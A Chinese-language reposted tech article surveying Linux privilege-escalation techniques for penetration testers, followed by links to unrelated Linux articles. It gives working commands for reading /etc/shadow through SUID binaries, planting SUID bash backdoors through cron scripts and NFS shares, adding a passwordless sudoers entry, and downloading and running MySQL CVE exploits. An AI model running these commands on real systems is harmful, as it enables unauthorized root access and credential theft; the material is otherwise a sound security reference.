Linux提權的幾種常用方式

2021-01-08 51cto

本文轉載自微信公眾號「Bypass」,作者Bypass 。轉載本文請聯繫Bypass公眾號。

在滲透測試過程中,提升權限是非常關鍵的一步,攻擊者往往可以通過利用內核漏洞/權限配置不當/root權限運行的服務等方式尋找突破點,來達到提升權限的目的。

1、內核漏洞提權

提起內核漏洞提權就不得不提到髒牛漏洞(Dirty Cow),是存在時間最長且影響範圍最廣的漏洞之一。低權限用戶可以利用該漏洞實現本地提權,同時可以通過該漏洞實現Docker容器逃逸,獲得root權限的shell。

1.1 本地內核提權

(1)檢測內核版本

# 查看系統發行版本 lsb_release -a # 查看內核版本 uname -a 

(2) 下載,編譯生成exp文件

bypass@ubuntu:~$ make 

(3)執行成功,返回一個root權限的shell。

1.2 利用DirtyCow漏洞實現Docker逃逸

(1)進入容器,編譯POC並執行:

(2)在攻擊者機器上,成功接收到宿主機反彈的shell。

1.3 Linux提權輔助工具

github項目地址:

https://github.com/mzet-/linux-exploit-suggester.git 

(1)根據作業系統版本號自動查找相應提權腳本

wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh -O les.sh 

(2)根據提示下載poc,編譯執行。

2、利用SUID提權

SUID是一種特殊權限,可以讓調用者在執行過程中暫時獲得該文件擁有者的權限。如果可以找到並運行root用戶所擁有的SUID的文件,那麼就可以在運行該文件的時候獲得root用戶權限。

(1)在Linux中查找可以用來提權的SUID文件

find / -perm -u=s -type f 2>/dev/null 

(2)通過find以root權限執行命令

可用作Linux提權的命令及其姿勢:

#Find find pentestlab -exec whoami \; #Vim vim.tiny /etc/shadow #awk awk 'BEGIN{system("whoami")}' #curl curl file:///etc/shadow #Bash bash -p   #Less less /etc/passwd #Nmap nmap  

3、SUDO提權

普通用戶在使用sudo執行命令的過程中,會以root方式執行命令。在很多場景裡,管理員為了運維管理方便,sudoer配置文件錯誤導致提權。

(1)設置sudo免密碼

$vi /etc/sudoers 在最後一行添加:bypass ALL=(ALL:ALL) NOPASSWD:ALL 

(2)查看sudo的權限

4、計劃任務

如果可以找到可以有權限修改的計劃任務腳本,就可以修改腳本實現提權。本質上,就是文件權限配置不當。

(1)查看計劃任務,找到有修改權限的計劃任務腳本。

ls -l /etc/cron* more /etc/crontab 

(2)在mysqlback.sh 添加 SUID shell後門,當定時任務以root再次執行的時候,可以獲取root權限。

cp /bin/bash /tmp/shell chmod u+s /tmp/shell 

5、NFS提權

當伺服器中存在NFS共享,開啟no_root_squash選項時,如果客戶端使用的是root用戶,那麼對於共享目錄來說,該客戶端就有root權限,可以使用它來提升權限。

(1)查看NFS伺服器上的共享目錄

sudo showmount -e 10.1.1.233 

(2)創建本地掛載目錄,掛載共享目錄。使用攻擊者本地root權限創建Suid shell。

sudo mkdir -p /tmp/data sudo mount -t nfs 10.1.1.233:/home/bypass /tmp/data cp /bin/bash /tmp/data/shell chmod u+s /tmp/data/shell 

(3)回到要提權的伺服器上,使用普通用戶使用-p參數來獲取root權限。

6、MySQL提權

MySQL提權方式有UDF提權,MOF提權,寫入啟動項提權等方式,但比較有意思的是CVE-2016-6663、CVE-2016-6664組合利用的提取場景,可以將一個www-data權限提升到root權限。

(1)利用CVE-2016-6663將www-data權限提升為mysql權限:

cd /var/www/html/ gcc mysql-privesc-race.c -o mysql-privesc-race -I/usr/include/mysql -lmysqlclient ./mysql-privesc-race test 123456 localhost testdb 

(2)利用CVE-2016-6664將Mysql權限提升為root權限:

wget http://legalhackers.com/exploits/CVE-2016-6664/mysql-chowned.sh chmod 777 mysql-chowned.sh ./mysql-chowned.sh /var/log/mysql/error.log 

【編輯推薦】

【責任編輯:

武曉燕

TEL:(010)68476606】

點讚 0

相關焦點

  • 「linux專欄」嘔心瀝血兩天,就為linux中安裝拼音輸入法
    幾經百度,自我實踐,最後發現最有效的辦法就是使用yum源安裝ibus的拼音輸入法,當然ibus也是眾多linux用戶反響比較穩定的一款輸入法。當然我們也有必要為大家說明一下,就目前來看,linux中常用的中文輸入法平臺有IBus、fcitx和scim。scim現在維護滯後,不推薦使用。
  • Linux下常用的研發工具和環境
    一、常用的編輯器:Vim、Emacs、gedit等;本文引用地址:http://www.eepw.com.cn/article/148868.htm二、UML工具:目前最著名的UML工具有Rational Rose和Borland
  • 升級Ubuntu Linux 內核的幾種不同方法
    這個指南裡介紹了 7 種為 Ubuntu 升級 Linux 內核的不同方法。這 7 種方法裡,有 5 種需要重啟系統來使新內核生效,其他兩種則不用。-- Sk這個指南裡介紹了 7 種為 Ubuntu 升級 Linux 內核的不同方法。這 7 種方法裡,有 5 種需要重啟系統來使新內核生效,其他兩種則不用。
  • Linux安裝軟體的7種方式
    1、rpm軟體包的安裝方式及步驟(1)找到自己所需版本的軟體包(例:軟體包名稱為chengxuyuan.rpm),並下載或者拷貝到自己制定的目錄。(2)如果使用root的直接到第三步,非root用戶需要切換到root帳戶下。(3)通過cd命令切換到軟體所在的目錄。
  • 常用的幾種膜分離法汙水處理方式的介紹
    汙水處理公司給大家介紹常用的幾種膜分離法汙水處理方式:第一、超濾膜分離方法。根據分子的形狀和不同性質利用大氣壓力的作用,將其進行有效的篩選和分離。這項技術通過我國的多年研究和使用,除汙效果顯著,能有效的對汙水中的病原體進行處理。
  • Linux系統的Linux應該怎麼讀?正確讀法在這裡,很多人都讀錯了!
    1、linux發音五花八門版本頗多,見到和聽到的不下10種。根據linux的創始人Linus Torvalds的說法,Linux的發音和「Minix」是押韻的。3、有人綜合網上和linux自己的讀音,概括出幾個自認為最合適也最通用的讀法:/li'n^ks/(「裡那克斯」)或/'li:nэks/(「裡訥克斯」)或/li'nju:ks/(「裡紐克斯」)。4、這幾個應該是誰都聽得懂的。至於哪個比較正宗,當然是linux的原因。但事實上使用linux哪種讀法的人似乎都不在少數。
  • 從串口驅動到Linux驅動模型,想轉Linux的必會!
    因為在這個目錄中包含了所有linux系統中使用的外部設備。但是這裡並不是放的外部設備的驅動程序。這一點和常用的windows,dos作業系統不一樣。它實際上是一個訪問這些外部設備的埠。可以非常方便地去訪問這些外部設備,和訪問一個文件,一個目錄沒有任何區別。/etc:etc這個目錄是linux系統中最重要的目錄之一。在這個目錄下存放了系統管理時要用到的各種配置文件和子目錄。
  • Linux下內存洩漏工具
    嵌入式linux QQ交流群:175159209,歡迎愛好者加入交流技術問題!
  • 英語出行方式的常用幾種表達
    train/subway/bike等例:They go to Beijing by train他們乘坐火車去北京2、 by+land/sea/air等例:They went to Qingdao by sea 他們經海路去的青島區別一種是by+交通工具汽車,火車,飛機等;一種是by+交通方式水
  • 嵌入式Linux設備驅動開發之:GPIO驅動程序實例
    為了控制這些埠,S3C2410處理器為每個埠組分別提供幾種相應的控制寄存器。其中最常用的有埠配置寄存器(GPACON~GPHCON)和埠數據寄存器(GPADAT~GPHDAT)。因為大部分I/O管腳可以提供多種功能,通過配置寄存器(PnCON)設定每個管腳用於何種目的。數據寄存器的每位將對應於某個管腳上的輸入或輸出。
  • linux下SCP指令的使用
    SCP常用實例(在linux的centos環境下為例,從192.168.200.10現在一個文件到本地)1、從遠程伺服器下載文件到本地伺服器。scp 用戶名@IP位址:/home/1.txt ./2、linux下,通過指定埠從遠程伺服器下載文件到本地。scp -oPort=埠號 用戶名@IP位址:/opt/ftp-0.17-54.el6.x86_64.rpm ./3、linux下,通過指定埠將本地文件,上傳到遠程伺服器指定目錄下。
  • 常用的人工焊接變位機的幾種基本形式
    常用的人工焊接變位機基本形式有伸臂式、傾翻迴轉式和雙立柱單迴轉式等。由於受到迴轉自由度的限制,這幾種變位機均不能實現被焊工件在空間內的任意旋轉,所以不能使各類焊縫轉動到所需要的最佳位置。下面介紹焊接變位機選型及常用的幾種變位機的形式等。1.
  • SEM優化常用的幾種數據分析方法
    SEM優化工作少不了做分析報表,而數據分析不僅僅是為了發現問題,為解決問題提供參考數據,也是對推廣效果的直觀展現方式,善用工具,能事半功倍地掌握工作,並及時作出調整。簡而言之,數據分析就是為了幫助我們對工作做到心中有數。
  • Linux下C編程基礎之:本章小結與思考與練習
    雖然它們的選項比較多,但是常用的並不多,讀者著重掌握筆者例子中使用的一些選項即可。之後,本章又介紹了make工程管理器的使用,這裡包括makefile的基本結構、makefile的變量定義及其規則和make的使用。最後介紹的是autotools的使用,這是非常有用的工具,希望讀者能夠掌握。
  • 監控攝像頭電源的幾種常用接法
    本文介紹了關於監控攝像頭電源的幾種常用接法。1紅外攝像機專用電源連接法1、12V1A單個電源:注意一下:此電源只能適合紅外攝像機。不適合陣列式攝像機。請看圖片1此電源的連接方式為:線材選擇一體線和電源線+視頻線的均可。
  • 嵌入式Linux設備驅動開發之:實驗內容——test驅動
    本文引用地址:http://www.eepw.com.cn/article/257106.htm1.實驗目的該實驗是編寫最簡單的字符驅動程序,這裡的設備也就是一段內存,實現簡單的讀寫功能,並列出常用格式的Makefile以及驅動的加載和卸載腳本。讀者可以熟悉字符設備驅動的整個編寫流程。
  • 幾種常用變壓器
    一臺三相變壓器一般有4種接法,即Y/Y,Y/,/Y,/。分子表示高壓繞組的接法,分母表示低壓繞組的接法。對稱的三相連接,通常有Y、、Z三種接法,其中常用的是現行國家標準所規定的Y/Y0-12,Y/-11,Y0/-11三種。
  • 從RTOS到Linux的應用移植
    應用程式只有通過系統調用(代表應用程式進程在內核態執行)等方式才可以訪問到內核空間。  而外設I/O資源是不在Linux內核虛擬地址空間中的(如SRAM或硬體接口寄存器等),若需要訪問某外設I/O資源,必須先將其物理地址映射到內核虛擬地址空間中,然後才能在內核空間中訪問它。